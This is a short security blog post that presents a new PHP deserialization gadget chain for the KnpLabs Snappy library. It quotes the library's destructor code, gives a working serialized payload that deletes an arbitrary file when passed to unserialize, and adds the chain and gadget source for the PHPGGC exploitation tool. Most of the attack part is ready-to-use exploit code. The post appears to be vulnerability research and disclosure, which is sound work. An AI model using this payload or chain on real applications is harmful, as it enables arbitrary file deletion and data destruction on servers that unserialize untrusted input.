Hello, today we’re implementing a new gadget chain for the Snappy PHP library.

PHP library allowing thumbnail, snapshot or PDF generation from a url or a html page. Wrapper for wkhtmltopdf/wkhtmltoimage.

Who?

alt-text

Why?

Below is the responsible code.

File: snappy/src/Knp/Snappy/AbstractGenerator.php

<?php

...

abstract class AbstractGenerator implements GeneratorInterface, LoggerAwareInterface
{
    use LoggerAwareTrait;

    /**
     * @var array
     */
    public $temporaryFiles = [];

    ...

    public function __destruct()
    {
        $this->removeTemporaryFiles();
    }

    ...

    /**
     * Removes all temporary files.
     *
     * @return void
     */
    public function removeTemporaryFiles()
    {
        foreach ($this->temporaryFiles as $file) {
            $this->unlink($file);
        }
    }

    ...

    protected function unlink($filename)
    {
        return $this->fileExists($filename) ? \unlink($filename) : false;
    }

    ...

}

File: snappy/src/Knp/Snappy/Image.php

<?php

namespace Knp\Snappy;

/**
 * Use this class to create a snapshot / thumbnail from a HTML page.
 *
 * @author  Matthieu Bontemps <matthieu.bontemps@knplabs.com>
 * @author  Antoine Hérault <antoine.herault@knplabs.com>
 */
class Image extends AbstractGenerator
{
    ....
}

How?

Proof Of Concept

$ git clone https://github.com/KnpLabs/snappy.git
$ cd snappy
$ php composer.phar install

Then we create the file test.php as follows.

File: test.php

<?php

require __DIR__ . "/vendor/autoload.php";

use Knp\Snappy\Image;


$s = 'a:2:{i:7;O:16:"Knp\Snappy\Image":1:{s:14:"temporaryFiles";a:1:{i:0;s:9:"/tmp/AAAA";}}i:7;i:7;}';
$o = unserialize($s);

?>

alt-text

Adding the gadget chain to PHPGGC

File: phpggc/gadgetchains/Snappy/FD/1/chain.php

<?php

namespace GadgetChain\Snappy;

class FD1 extends \PHPGGC\GadgetChain\FileDelete
{
    public static $version = '1.4.2 <= ?';
    public static $vector = '__destruct';
    public static $author = 'coiffeur';
    public static $information = '
        Note that some files may not be removed (depends on permissions).
        Target versions: commit 619dcfd7b4fb50804288aedd6850d0b4ffabbaea, 15 May 2023 (~v1.4.2) <= exploitable
    ';

    public function generate(array $parameters)
    {
        return new \Knp\Snappy\Image($parameters['remote_path']);
    }
}

File: phpggc/gadgetchains/Snappy/FD/1/gadgets.php

<?php

namespace Knp\Snappy;

class Image
{
    public $temporaryFiles = [];

    public function __construct($remote_path) {
        array_push($this->temporaryFiles, $remote_path);
    }

}

Thank you for taking the time to read this article.